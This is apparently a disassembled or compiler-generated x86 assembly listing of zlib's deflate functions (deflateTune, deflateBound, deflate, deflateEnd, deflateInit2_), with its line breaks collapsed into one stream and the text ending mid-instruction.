---------------------- .globl deflateTune .type deflateTune, @function deflateTune: movl 4(%esp), %eax testl %eax, %eax je .L00002537 .L00002508: movl 28(%eax), %eax testl %eax, %eax je .L0000253D .L0000250F: movl 8(%esp), %edx movl %edx, 140(%eax) movl 12(%esp), %edx movl %edx, 128(%eax) movl 16(%esp), %edx movl %edx, 144(%eax) movl 20(%esp), %edx movl %edx, 124(%eax) xorl %eax, %eax ret .L00002537: movl $-2, %eax ret .L0000253D: movl $-2, %eax ret .size deflateTune, .-deflateTune # ---------------------- .L00002543: .p2align 4 # ---------------------- .globl deflateBound .type deflateBound, @function deflateBound: subl $16, %esp movl 24(%esp), %ecx movl %ebx, (%esp) movl 20(%esp), %ebx movl %esi, 4(%esp) movl %edi, 8(%esp) leal 7(%ecx), %esi movl %esi, %edx leal 63(%ecx), %eax shrl $3, %edx shrl $6, %eax addl %edx, %eax addl %ecx, %eax testl %ebx, %ebx movl %ebp, 12(%esp) je .L00002660 .L00002584: movl 28(%ebx), %ebx testl %ebx, %ebx je .L00002660 .L0000258F: movl 24(%ebx), %edx cmpl $1, %edx je .L00002648 .L0000259B: cmpl $2, %edx je .L000025C8 .L000025A0: cmpl $1, %edx sbbl %edx, %edx notl %edx andl $6, %edx .L000025AA: cmpl $15, 48(%ebx) je .L00002623 .L000025B0: leal 5(%edx,%eax), %eax .L000025B4: movl (%esp), %ebx movl 4(%esp), %esi movl 8(%esp), %edi movl 12(%esp), %ebp addl $16, %esp ret .L000025C7: .p2align 3 .L000025C8: movl 28(%ebx), %edi movl $18, %edx testl %edi, %edi je .L000025AA .L000025D4: movl 16(%edi), %ebp testl %ebp, %ebp je .L000025E1 .L000025DB: movl 20(%edi), %edx addl $20, %edx .L000025E1: movl 28(%edi), %ebp testl %ebp, %ebp je .L000025FA .L000025E8: subl %edx, %ebp .p2align 3 .L000025F0: addl $1, %edx cmpb $0, -1(%ebp,%edx) jne .L000025F0 .L000025FA: movl 36(%edi), %ebp testl %ebp, %ebp je .L00002612 .L00002601: subl %edx, %ebp .p2align 3 .L00002608: addl $1, %edx cmpb $0, -1(%ebp,%edx) jne .L00002608 .L00002612: movl 44(%edi), %edi leal 2(%edx), %ebp testl %edi, %edi cmovne %ebp, %edx cmpl $15, 48(%ebx) jne .L000025B0 .L00002623: cmpl $15, 80(%ebx) jne .L000025B0 .L00002629: movl %ecx, %eax movl %ecx, %ebx shrl $12, %eax addl %esi, %eax shrl $14, %ebx addl %ebx, %eax shrl $25, %ecx addl %ecx, %eax addl %edx, %eax jmp .L000025B4 .L00002643: .p2align 3 .L00002648: cmpl $1, 108(%ebx) sbbl %edx, %edx andl $-4, %edx addl $10, %edx jmp .L000025AA .L00002659: .p2align 4 .L00002660: addl $11, %eax jmp .L000025B4 .size deflateBound, .-deflateBound # ---------------------- .L00002668: .p2align 4 # ---------------------- .globl deflate .type deflate, @function deflate: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 64(%esp), %esi testl %esi, %esi je .L00002DD0 .L00002683: cmpl $5, 68(%esp) movl 28(%esi), %ebx jg .L00002DD0 .L00002691: testl %ebx, %ebx je .L00002DD0 .L00002699: movl 68(%esp), %eax testl %eax, %eax js .L00002DD0 .L000026A5: movl 12(%esi), %eax testl %eax, %eax je .L00002CAB .L000026B0: movl (%esi), %eax testl %eax, %eax je .L00002CA0 .L000026BA: cmpl $4, 68(%esp) movl 4(%ebx), %eax setne 27(%esp) jne .L00002E60 .L000026CD: movl 16(%esi), %ebp testl %ebp, %ebp je .L000027F0 .L000026D8: movl 40(%ebx), %ecx cmpl $42, %eax movl %esi, (%ebx) movl %ecx, 20(%esp) movl 68(%esp), %ecx movl %ecx, 40(%ebx) je .L00002870 .L000026F1: cmpl $69, %eax je .L0000294F .L000026FA: cmpl $73, %eax movl 20(%ebx), %edx je .L00002A08 .L00002706: cmpl $91, %eax je .L00002C30 .L0000270F: cmpl $103, %eax je .L00002D10 .L00002718: testl %edx, %edx jne .L00002850 .L00002720: movl 4(%esi), %eax testl %eax, %eax je .L000027B0 .L0000272B: movl 4(%ebx), %edx cmpl $666, %edx je .L00002800 .L0000273A: testl %eax, %eax je .L00002804 .L00002742: movl 136(%ebx), %eax cmpl $2, %eax je .L00002DC0 .L00002751: cmpl $3, %eax je .L00002A10 .L0000275A: movl 132(%ebx), %eax movl 68(%esp), %ecx movl %ebx, (%esp) leal (%eax,%eax,2), %eax movl %ecx, 4(%esp) call *configuration_table+8(,%eax,4) .L00002775: leal -2(%eax), %edx cmpl $1, %edx jbe .L00002A27 .L00002781: cmpl $2, %eax je .L00002830 .L0000278A: testl %eax, %eax je .L00002830 .L00002792: cmpl $1, %eax je .L00002AB0 .L0000279B: xorl %eax, %eax cmpb $0, 27(%esp) je .L00002A38 .L000027A8: addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L000027B0: movl 68(%esp), %ebp xorl %edx, %edx addl %ebp, %ebp cmpl $5, 68(%esp) sete %dl xorl %ecx, %ecx leal (%edx,%edx,8), %edx subl %edx, %ebp movl 20(%esp), %edx addl %edx, %edx cmpl $5, 20(%esp) setge %cl movl %ecx, %edi leal (%edi,%edi,8), %edi subl %edi, %edx cmpl %edx, %ebp jg .L0000272B .L000027E4: cmpb $0, 27(%esp) je .L0000272B .L000027EF: .p2align 3 .L000027F0: movl z_errmsg+28, %eax movl %eax, 24(%esi) movl $-5, %eax jmp .L000027A8 .L000027FF: .p2align 3 .L00002800: testl %eax, %eax jne .L000027F0 .L00002804: movl 116(%ebx), %edi testl %edi, %edi jne .L00002742 .L0000280F: movl 68(%esp), %ecx xorl %eax, %eax testl %ecx, %ecx je .L000027A8 .L00002819: cmpl $666, %edx jne .L00002742 .L00002825: jmp .L0000279B .L0000282A: .p2align 3 .L00002830: movl 16(%esi), %ebp xorl %eax, %eax testl %ebp, %ebp jne .L000027A8 .L0000283D: movl $-1, 40(%ebx) addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L0000284C: .p2align 3 .L00002850: movl %esi, %eax call flush_pending .L00002857: movl 16(%esi), %ebp testl %ebp, %ebp je .L00002B42 .L00002862: movl 4(%esi), %eax jmp .L0000272B .L0000286A: .p2align 3 .L00002870: cmpl $2, 24(%ebx) je .L00002F27 .L0000287A: movl 48(%ebx), %eax sall $12, %eax leal -30720(%eax), %ecx xorl %eax, %eax cmpl $1, 136(%ebx) jle .L00002BD0 .L00002895: movl 108(%ebx), %edx orl %eax, %ecx movl %ecx, %eax movl 8(%ebx), %ebp orl $32, %eax movl $113, 4(%ebx) testl %edx, %edx movl $138547333, %edx cmovne %eax, %ecx movl %ecx, %eax mull %edx movl 20(%ebx), %eax subl %edx, %ecx shrl $1, %ecx addl %edx, %ecx shrl $4, %ecx movl %ecx, %edx sall $5, %edx subl %ecx, %edx addl $31, %edx movl %edx, %edi shrl $8, %edi movl %edi, %ecx movb %cl, (%ebp,%eax) movl 8(%ebx), %ecx movb %dl, 1(%ecx,%eax) movl 108(%ebx), %ecx leal 2(%eax), %edx movl %edx, 20(%ebx) testl %ecx, %ecx je .L00002924 .L000028EC: movl 48(%esi), %edx movl 8(%ebx), %edi movl %edx, %ecx shrl $24, %edx movb %dl, 2(%edi,%eax) movl 8(%ebx), %edx shrl $16, %ecx movb %cl, 3(%edx,%eax) movzwl 48(%esi), %edx movl 8(%ebx), %ebp movl %edx, %edi shrl $8, %edi movl %edi, %ecx movb %cl, 4(%ebp,%eax) movl 8(%ebx), %ecx movb %dl, 5(%ecx,%eax) addl $6, %eax movl %eax, 20(%ebx) .L00002924: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call adler32 .L00002940: movl %eax, 48(%esi) movl 4(%ebx), %eax cmpl $69, %eax jne .L000026FA .L0000294F: movl 28(%ebx), %edi movl 20(%ebx), %edx .L00002955: movl 16(%edi), %eax testl %eax, %eax je .L00002E70 .L00002960: movl 32(%ebx), %ecx movl %edi, %eax movzwl 20(%edi), %ebp movl %edx, 28(%esp) cmpl %ebp, %ecx jae .L000029DC .L00002971: movl %edx, %ebp jmp .L000029A1 .L00002975: .p2align 3 .L00002978: movl 16(%edi), %eax movzbl (%eax,%ecx), %ecx movl 8(%ebx), %eax movb %cl, (%eax,%edx) movl 28(%ebx), %eax addl $1, %edx movl 32(%ebx), %ecx movl %edx, 20(%ebx) movzwl 20(%eax), %edi addl $1, %ecx movl %ecx, 32(%ebx) cmpl %ecx, %edi jbe .L000029D8 .L0000299F: movl %eax, %edi .L000029A1: cmpl %edx, 12(%ebx) jne .L00002978 .L000029A6: movl 44(%eax), %eax testl %eax, %eax je .L000029B5 .L000029AD: cmpl %ebp, %edx ja .L00002CC0 .L000029B5: movl %esi, %eax call flush_pending .L000029BC: movl 20(%ebx), %ebp cmpl 12(%ebx), %ebp je .L00002E50 .L000029C8: movl 28(%ebx), %edi movl %ebp, %edx movl 32(%ebx), %ecx jmp .L00002978 .L000029D2: .p2align 3 .L000029D8: movl %ebp, 28(%esp) .L000029DC: movl 44(%eax), %edi testl %edi, %edi je .L000029ED .L000029E3: cmpl %edx, 28(%esp) jb .L00002E20 .L000029ED: movl 20(%eax), %edx cmpl %edx, 32(%ebx) je .L00002B58 .L000029F9: movl 4(%ebx), %eax movl 20(%ebx), %edx cmpl $73, %eax jne .L00002706 .L00002A08: movl 28(%ebx), %eax jmp .L00002B69 .L00002A10: movl 68(%esp), %edx movl %ebx, %eax call deflate_rle .L00002A1B: leal -2(%eax), %edx cmpl $1, %edx ja .L00002781 .L00002A27: movl $666, 4(%ebx) jmp .L00002781 .L00002A33: .p2align 3 .L00002A38: movl 24(%ebx), %edx movb $1, %al testl %edx, %edx jle .L000027A8 .L00002A45: cmpl $2, %edx je .L00002EC0 .L00002A4E: movl 48(%esi), %edx movl 20(%ebx), %eax movl 8(%ebx), %edi movl %edx, %ecx shrl $24, %edx movb %dl, (%edi,%eax) movl 8(%ebx), %edx shrl $16, %ecx movb %cl, 1(%edx,%eax) movzwl 48(%esi), %edx movl 8(%ebx), %ebp movl %edx, %edi shrl $8, %edi movl %edi, %ecx movb %cl, 2(%ebp,%eax) movl 8(%ebx), %ecx movb %dl, 3(%ecx,%eax) addl $4, %eax movl %eax, 20(%ebx) .L00002A88: movl %esi, %eax call flush_pending .L00002A8F: movl 24(%ebx), %eax testl %eax, %eax jle .L00002A9B .L00002A96: negl %eax movl %eax, 24(%ebx) .L00002A9B: movl 20(%ebx), %edx xorl %eax, %eax testl %edx, %edx sete %al addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00002AAD: .p2align 3 .L00002AB0: cmpl $1, 68(%esp) je .L000030CE .L00002ABB: cmpl $5, 68(%esp) je .L00002B30 .L00002AC2: movl $0, 12(%esp) movl $0, 8(%esp) movl $0, 4(%esp) movl %ebx, (%esp) call _tr_stored_block .L00002AE2: cmpl $3, 68(%esp) jne .L00002B30 .L00002AE9: movl 76(%ebx), %edx movl 68(%ebx), %eax movw $0, -2(%eax,%edx,2) leal -2(%edx,%edx), %edx movl %edx, 8(%esp) movl $0, 4(%esp) movl %eax, (%esp) call memset .L00002B0E: movl 116(%ebx), %edi testl %edi, %edi jne .L00002B30 .L00002B15: movl $0, 108(%ebx) movl $0, 92(%ebx) movl $0, 5812(%ebx) .p2align 3 .L00002B30: movl %esi, %eax call flush_pending .L00002B37: movl 16(%esi), %ecx testl %ecx, %ecx jne .L0000279B .L00002B42: movl $-1, 40(%ebx) addl $44, %esp xorl %eax, %eax popl %ebx popl %esi popl %edi popl %ebp ret .L00002B53: .p2align 3 .L00002B58: movl 20(%ebx), %edx movl $0, 32(%ebx) movl $73, 4(%ebx) .L00002B69: movl 28(%eax), %ecx testl %ecx, %ecx je .L00002E90 .L00002B74: movl %edx, %ecx jmp .L00002B9B .L00002B78: movl 32(%ebx), %edi movl 28(%eax), %eax movzbl (%eax,%edi), %eax addl $1, %edi movl %edi, 32(%ebx) movl 8(%ebx), %edi movb %al, (%edi,%edx) addl $1, %edx testb %al, %al movl %edx, 20(%ebx) je .L00002C00 .L00002B98: movl 28(%ebx), %eax .L00002B9B: cmpl %edx, 12(%ebx) jne .L00002B78 .L00002BA0: movl 44(%eax), %eax testl %eax, %eax je .L00002BAF .L00002BA7: cmpl %edx, %ecx jb .L00002E00 .L00002BAF: movl %esi, %eax call flush_pending .L00002BB6: movl 20(%ebx), %ecx cmpl 12(%ebx), %ecx je .L000030B6 .L00002BC2: movl 28(%ebx), %eax movl %ecx, %edx jmp .L00002B78 .L00002BC9: .p2align 4 .L00002BD0: movl 132(%ebx), %edx cmpl $1, %edx jle .L00002895 .L00002BDF: cmpl $5, %edx movb $64, %al jle .L00002895 .L00002BEA: cmpl $6, %edx movb $128, %al movl $192, %edx cmovne %edx, %eax jmp .L00002895 .L00002BFC: .p2align 3 .L00002C00: xorl %edi, %edi .L00002C02: movl 28(%ebx), %eax movl 44(%eax), %ebp testl %ebp, %ebp je .L00002C14 .L00002C0C: cmpl %edx, %ecx jb .L00003096 .L00002C14: testl %edi, %edi je .L00002DA0 .L00002C1C: movl 4(%ebx), %eax movl 20(%ebx), %edx cmpl $91, %eax jne .L0000270F .L00002C2B: .p2align 3 .L00002C30: movl 28(%ebx), %eax .L00002C33: movl 36(%eax), %ecx testl %ecx, %ecx je .L00002E80 .L00002C3E: movl %edx, %ecx jmp .L00002C6B .L00002C42: .p2align 3 .L00002C48: movl 32(%ebx), %edi movl 36(%eax), %eax movzbl (%eax,%edi), %eax addl $1, %edi movl %edi, 32(%ebx) movl 8(%ebx), %edi movb %al, (%edi,%edx) addl $1, %edx testb %al, %al movl %edx, 20(%ebx) je .L00002CE0 .L00002C68: movl 28(%ebx), %eax .L00002C6B: cmpl 12(%ebx), %edx jne .L00002C48 .L00002C70: movl 44(%eax), %eax testl %eax, %eax je .L00002C7F .L00002C77: cmpl %edx, %ecx jb .L00002DE0 .L00002C7F: movl %esi, %eax call flush_pending .L00002C86: movl 20(%ebx), %ecx cmpl 12(%ebx), %ecx je .L000030C2 .L00002C92: movl 28(%ebx), %eax movl %ecx, %edx jmp .L00002C48 .L00002C99: .p2align 4 .L00002CA0: movl 4(%esi), %eax testl %eax, %eax je .L000026BA .L00002CAB: movl z_errmsg+16, %eax movl %eax, 24(%esi) movl $-2, %eax jmp .L000027A8 .L00002CBD: .p2align 3 .L00002CC0: subl %ebp, %edx movl %edx, 8(%esp) addl 8(%ebx), %ebp movl %ebp, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L00002CD8: movl %eax, 48(%esi) jmp .L000029B5 .L00002CE0: xorl %edi, %edi .L00002CE2: movl 28(%ebx), %eax movl 44(%eax), %eax testl %eax, %eax je .L00002CF4 .L00002CEC: cmpl %edx, %ecx jb .L00003076 .L00002CF4: testl %edi, %edi je .L00002D88 .L00002CFC: movl 4(%ebx), %eax movl 20(%ebx), %edx cmpl $103, %eax jne .L00002718 .L00002D0B: .p2align 3 .L00002D10: movl 28(%ebx), %eax .L00002D13: movl 44(%eax), %eax testl %eax, %eax je .L00002D78 .L00002D1A: leal 2(%edx), %eax cmpl 12(%ebx), %eax ja .L00002EA0 .L00002D26: movl 48(%esi), %edi movl 8(%ebx), %ebp movl %edi, %ecx movb %cl, (%ebp,%edx) movl 48(%esi), %edi movl 8(%ebx), %ebp shrl $8, %edi movl %edi, %ecx movb %cl, 1(%ebp,%edx) movl %eax, 20(%ebx) movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call crc32 .L00002D60: movl 20(%ebx), %edx movl %eax, 48(%esi) movl $113, 4(%ebx) jmp .L00002718 .L00002D72: .p2align 3 .L00002D78: movl $113, 4(%ebx) jmp .L00002718 .L00002D84: .p2align 3 .L00002D88: movl $103, 4(%ebx) movl 28(%ebx), %eax movl 20(%ebx), %edx jmp .L00002D13 .L00002D9A: .p2align 3 .L00002DA0: movl $0, 32(%ebx) movl 28(%ebx), %eax movl $91, 4(%ebx) movl 20(%ebx), %edx jmp .L00002C33 .L00002DB9: .p2align 4 .L00002DC0: movl 68(%esp), %edx movl %ebx, %eax call deflate_huff .L00002DCB: jmp .L00002775 .L00002DD0: movl $-2, %eax jmp .L000027A8 .L00002DDA: .p2align 3 .L00002DE0: subl %ecx, %edx movl %edx, 8(%esp) addl 8(%ebx), %ecx movl %ecx, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L00002DF8: movl %eax, 48(%esi) jmp .L00002C7F .L00002E00: subl %ecx, %edx movl %edx, 8(%esp) addl 8(%ebx), %ecx movl %ecx, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L00002E18: movl %eax, 48(%esi) jmp .L00002BAF .L00002E20: subl 28(%esp), %edx movl 28(%esp), %eax movl %edx, 8(%esp) addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L00002E3E: movl %eax, 48(%esi) movl 28(%ebx), %eax jmp .L000029ED .L00002E49: .p2align 4 .L00002E50: movl %ebp, 28(%esp) movl 28(%ebx), %eax movl %ebp, %edx jmp .L000029DC .L00002E5E: .p2align 3 .L00002E60: cmpl $666, %eax jne .L000026CD .L00002E6B: jmp .L00002CAB .L00002E70: movl $73, 4(%ebx) movl %edi, %eax jmp .L00002B69 .L00002E7E: .p2align 3 .L00002E80: movl $103, 4(%ebx) jmp .L00002D13 .L00002E8C: .p2align 3 .L00002E90: movl $91, 4(%ebx) jmp .L00002C33 .L00002E9C: .p2align 3 .L00002EA0: movl %esi, %eax call flush_pending .L00002EA7: movl 20(%ebx), %edx leal 2(%edx), %eax cmpl 12(%ebx), %eax ja .L00002718 .L00002EB6: jmp .L00002D26 .L00002EBB: .p2align 3 .L00002EC0: movl 20(%ebx), %eax movl 48(%esi), %ecx movl 8(%ebx), %edx movb %cl, (%edx,%eax) movl 48(%esi), %edx movl 8(%ebx), %ecx shrl $8, %edx movb %dl, 1(%ecx,%eax) movzwl 50(%esi), %ecx movl 8(%ebx), %edx movb %cl, 2(%edx,%eax) movzbl 51(%esi), %ecx movl 8(%ebx), %edx movb %cl, 3(%edx,%eax) movl 8(%esi), %ecx movl 8(%ebx), %edx movb %cl, 4(%edx,%eax) movl 8(%esi), %edx movl 8(%ebx), %ecx shrl $8, %edx movb %dl, 5(%ecx,%eax) movzwl 10(%esi), %ecx movl 8(%ebx), %edx movb %cl, 6(%edx,%eax) movzbl 11(%esi), %ecx movl 8(%ebx), %edx movb %cl, 7(%edx,%eax) addl $8, %eax movl %eax, 20(%ebx) jmp .L00002A88 .L00002F27: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call crc32 .L00002F43: movl 8(%ebx), %edx movl %eax, 48(%esi) movl 20(%ebx), %eax movb $31, (%edx,%eax) movl 8(%ebx), %edx leal 3(%eax), %ecx movb $139, 1(%edx,%eax) movl 8(%ebx), %edx movb $8, 2(%edx,%eax) movl 28(%ebx), %edx movl %ecx, 20(%ebx) testl %edx, %edx je .L0000310D .L00002F71: movl (%edx), %edi movl 8(%ebx), %ebp addl %ecx, %ebp testl %edi, %edi setne %cl cmpl $1, 44(%edx) movl %ecx, %edi sbbl %ecx, %ecx notl %ecx andl $2, %ecx addl %ecx, %edi cmpl $1, 16(%edx) sbbl %ecx, %ecx notl %ecx andl $4, %ecx addl %ecx, %edi cmpl $1, 28(%edx) sbbl %ecx, %ecx notl %ecx andl $8, %ecx addl %edi, %ecx cmpl $1, 36(%edx) sbbl %edx, %edx notl %edx andl $16, %edx addl %ecx, %edx movb %dl, (%ebp) movl 28(%ebx), %edx movl 8(%ebx), %ecx movl 4(%edx), %edx movb %dl, 4(%ecx,%eax) movl 28(%ebx), %edx movl 8(%ebx), %ecx movl 4(%edx), %edx shrl $8, %edx movb %dl, 5(%ecx,%eax) movl 28(%ebx), %edx movl 8(%ebx), %ecx movzwl 6(%edx), %edx movb %dl, 6(%ecx,%eax) movl 28(%ebx), %edx movl 8(%ebx), %ecx movzbl 7(%edx), %edx movb %dl, 7(%ecx,%eax) movl 132(%ebx), %edi leal 8(%eax), %ecx movl %ecx, 20(%ebx) movl $2, %edx addl 8(%ebx), %ecx cmpl $9, %edi je .L0000301A .L00003008: cmpl $1, 136(%ebx) movl $4, %edx jle .L000030FF .L0000301A: movb %dl, (%ecx) movl 28(%ebx), %edx movl 8(%ebx), %ecx movl 12(%edx), %edx movb %dl, 9(%ecx,%eax) movl 28(%ebx), %edi leal 10(%eax), %edx movl %edx, 20(%ebx) movl 16(%edi), %ecx testl %ecx, %ecx je .L0000305C .L00003039: movl 20(%edi), %edx movl 8(%ebx), %ecx movb %dl, 10(%ecx,%eax) movl 28(%ebx), %edx movl 8(%ebx), %ecx movl 20(%edx), %edx shrl $8, %edx movb %dl, 11(%ecx,%eax) movl 28(%ebx), %edi leal 12(%eax), %edx movl %edx, 20(%ebx) .L0000305C: movl 44(%edi), %ebp testl %ebp, %ebp jne .L000030DB .L00003063: movl $0, 32(%ebx) movl $69, 4(%ebx) jmp .L00002955 .L00003076: subl %ecx, %edx movl %edx, 8(%esp) addl 8(%ebx), %ecx movl %ecx, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L0000308E: movl %eax, 48(%esi) jmp .L00002CF4 .L00003096: subl %ecx, %edx movl %edx, 8(%esp) addl 8(%ebx), %ecx movl %ecx, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L000030AE: movl %eax, 48(%esi) jmp .L00002C14 .L000030B6: movl %ecx, %edx movl $1, %edi jmp .L00002C02 .L000030C2: movl %ecx, %edx movl $1, %edi jmp .L00002CE2 .L000030CE: movl %ebx, (%esp) call _tr_align .L000030D6: jmp .L00002B30 .L000030DB: movl %edx, 8(%esp) movl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%esi), %eax movl %eax, (%esp) call crc32 .L000030F1: movl 28(%ebx), %edi movl 20(%ebx), %edx movl %eax, 48(%esi) jmp .L00003063 .L000030FF: cmpl $1, %edi setle %dl sall $2, %edx jmp .L0000301A .L0000310D: movl 8(%ebx), %edx leal 8(%eax), %edi movb $0, 3(%edx,%eax) movl 8(%ebx), %edx movb $0, 4(%edx,%eax) movl 8(%ebx), %edx movb $0, 5(%edx,%eax) movl 8(%ebx), %edx movb $0, 6(%edx,%eax) movl 8(%ebx), %edx movb $0, 7(%edx,%eax) movl 132(%ebx), %ecx movl $2, %edx movl %edi, 20(%ebx) addl 8(%ebx), %edi cmpl $9, %ecx je .L0000315C .L0000314E: cmpl $1, 136(%ebx) movl $4, %edx jle .L00003178 .L0000315C: movb %dl, (%edi) movl 8(%ebx), %edx movb $3, 9(%edx,%eax) leal 10(%eax), %edx movl %edx, 20(%ebx) movl $113, 4(%ebx) jmp .L00002718 .L00003178: cmpl $1, %ecx setle %dl sall $2, %edx jmp .L0000315C .size deflate, .-deflate # ---------------------- .L00003183: .p2align 4 # ---------------------- .globl deflateEnd .type deflateEnd, @function deflateEnd: pushl %esi pushl %ebx subl $20, %esp movl 32(%esp), %ebx testl %ebx, %ebx je .L00003288 .L000031A1: movl 28(%ebx), %edx testl %edx, %edx je .L00003288 .L000031AC: movl 4(%edx), %esi cmpl $69, %esi jne .L00003240 .L000031B8: movl 8(%edx), %eax testl %eax, %eax je .L000031CF .L000031BF: movl %eax, 4(%esp) movl 40(%ebx), %eax movl %eax, (%esp) call *36(%ebx) .L000031CC: movl 28(%ebx), %edx .L000031CF: movl 68(%edx), %eax testl %eax, %eax je .L000031E6 .L000031D6: movl %eax, 4(%esp) movl 40(%ebx), %eax movl %eax, (%esp) call *36(%ebx) .L000031E3: movl 28(%ebx), %edx .L000031E6: movl 64(%edx), %eax testl %eax, %eax je .L000031FD .L000031ED: movl %eax, 4(%esp) movl 40(%ebx), %eax movl %eax, (%esp) call *36(%ebx) .L000031FA: movl 28(%ebx), %edx .L000031FD: movl 56(%edx), %eax testl %eax, %eax je .L00003214 .L00003204: movl %eax, 4(%esp) movl 40(%ebx), %eax movl %eax, (%esp) call *36(%ebx) .L00003211: movl 28(%ebx), %edx .L00003214: movl %edx, 4(%esp) movl 40(%ebx), %eax movl %eax, (%esp) call *36(%ebx) .L00003221: xorl %eax, %eax cmpl $113, %esi setne %al movl $0, 28(%ebx) leal -3(%eax,%eax,2), %eax .L00003234: addl $20, %esp popl %ebx popl %esi ret .L0000323A: .p2align 3 .L00003240: cmpl $42, %esi je .L000031B8 .L00003249: cmpl $91, %esi je .L000031B8 .L00003252: cmpl $73, %esi je .L000031B8 .L0000325B: cmpl $113, %esi .p2align 3 je .L000031B8 .L00003266: cmpl $103, %esi je .L000031B8 .L0000326F: cmpl $666, %esi movl $-2, %eax je .L000031B8 .L00003280: jmp .L00003234 .L00003282: .p2align 3 .L00003288: movl $-2, %eax jmp .L00003234 .size deflateEnd, .-deflateEnd # ---------------------- .L0000328F: .p2align 3 # ---------------------- .globl deflateInit2_ .type deflateInit2_, @function deflateInit2_: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 88(%esp), %eax movl 64(%esp), %esi movl 68(%esp), %edi movl 76(%esp), %ebp testl %eax, %eax je .L00003568 .L000032AF: cmpl $56, 92(%esp) jne .L00003568 .L000032BA: cmpb $49, (%eax) jne .L00003568 .L000032C3: testl %esi, %esi je .L00003530 .L000032CB: movl 32(%esi), %eax movl $0, 24(%esi) testl %eax, %eax je .L00003550 .L000032DD: movl 36(%esi), %ebx testl %ebx, %ebx je .L00003540 .L000032E8: cmpl $-1, %edi movl $6, %eax cmove %eax, %edi testl %ebp, %ebp js .L00003520 .L000032FB: cmpl $15, %ebp movl $1, %edx jg .L000034F8 .L00003309: movl 80(%esp), %eax subl $1, %eax cmpl $8, %eax ja .L00003530 .L00003319: cmpl $8, 72(%esp) jne .L00003530 .L00003324: cmpl $15, %ebp jg .L00003530 .L0000332D: cmpl $7, %ebp jle .L00003530 .L00003336: cmpl $9, %edi jg .L00003530 .L0000333F: movl %edi, %eax shrl $31, %eax testb %al, %al jne .L00003530 .L0000334C: cmpl $4, 84(%esp) jg .L00003530 .L00003357: movl 84(%esp), %eax shrl $31, %eax testb %al, %al jne .L00003530 .L00003366: cmpl $8, %ebp movl $9, %eax cmove %eax, %ebp movl $5828, 8(%esp) movl $1, 4(%esp) movl 40(%esi), %eax movl %edx, 28(%esp) movl %eax, (%esp) call *32(%esi) .L0000338E: movl 28(%esp), %edx testl %eax, %eax movl %eax, %ebx je .L000035A0 .L0000339C: movl %eax, 28(%esi) movl %ebp, %ecx movl %edx, 24(%eax) movl $-1431655765, %edx movl %ebp, 48(%eax) movl %esi, (%eax) movl $0, 28(%eax) movl $1, %eax sall %cl, %eax movl 80(%esp), %ecx movl %eax, 44(%ebx) movl %eax, %ebp leal -1(%eax), %eax movl %eax, 52(%ebx) movl $1, %eax addl $7, %ecx sall %cl, %eax movl %ecx, 80(%ebx) movl %eax, %ecx movl %eax, 76(%ebx) movl 80(%esp), %eax subl $1, %ecx movl %ecx, 84(%ebx) addl $9, %eax mull %edx shrl $1, %edx movl %edx, 88(%ebx) movl $2, 8(%esp) movl %ebp, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L00003406: movl %eax, 56(%ebx) movl $2, 8(%esp) movl 44(%ebx), %eax movl %eax, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L00003421: movl %eax, 64(%ebx) movl $2, 8(%esp) movl 76(%ebx), %eax movl %eax, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L0000343C: movl 80(%esp), %ecx movl $0, 5824(%ebx) addl $6, %ecx movl %eax, 68(%ebx) movl $1, %eax sall %cl, %eax movl %eax, 5788(%ebx) movl $4, 8(%esp) movl %eax, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L00003472: movl 5788(%ebx), %edx leal 0(,%edx,4), %ecx movl %ecx, 12(%ebx) movl 56(%ebx), %ecx movl %eax, 8(%ebx) testl %ecx, %ecx je .L00003578 .L00003490: movl 64(%ebx), %ebp testl %ebp, %ebp je .L00003578 .L0000349B: movl 68(%ebx), %ecx testl %ecx, %ecx je .L00003578 .L000034A6: testl %eax, %eax je .L00003578 .L000034AE: movl %edx, %ecx andl $-2, %ecx addl %eax, %ecx movl %ecx, 5796(%ebx) movl 84(%esp), %ecx leal (%edx,%edx,2), %edx addl %edx, %eax movl %eax, 5784(%ebx) movl %edi, 132(%ebx) movl %ecx, 136(%ebx) movb $8, 36(%ebx) movl %esi, (%esp) call deflateResetKeep .L000034E2: testl %eax, %eax movl %eax, %ebx je .L00003508 .L000034E8: addl $44, %esp movl %ebx, %eax popl %ebx popl %esi popl %edi popl %ebp ret .L000034F2: .p2align 3 .L000034F8: subl $16, %ebp movb $2, %dl jmp .L00003309 .L00003502: .p2align 3 .L00003508: movl 28(%esi), %eax call lm_init .L00003510: addl $44, %esp movl %ebx, %eax popl %ebx popl %esi popl %edi popl %ebp ret .L0000351A: .p2align 3 .L00003520: negl %ebp xorl %edx, %edx jmp .L00003309 .L00003529: .p2align 4 .L00003530: addl $44, %esp movl $-2, %ebx movl %ebx, %eax popl %ebx popl %esi popl %edi popl %ebp ret .L0000353F: .p2align 3 .L00003540: movl $zcfree, 36(%esi) jmp .L000032E8 .L0000354C: .p2align 3 .L00003550: movl $zcalloc, 32(%esi) movl $0, 40(%esi) jmp .L000032DD .L00003563: .p2align 3 .L00003568: movl $-6, %ebx jmp .L000034E8 .L00003572: .p2align 3 .L00003578: movl z_errmsg+24, %eax movl $666, 4(%ebx) movl $-4, %ebx movl %eax, 24(%esi) movl %esi, (%esp) call deflateEnd .L00003594: jmp .L000034E8 .L00003599: .p2align 4 .L000035A0: movl $-4, %ebx jmp 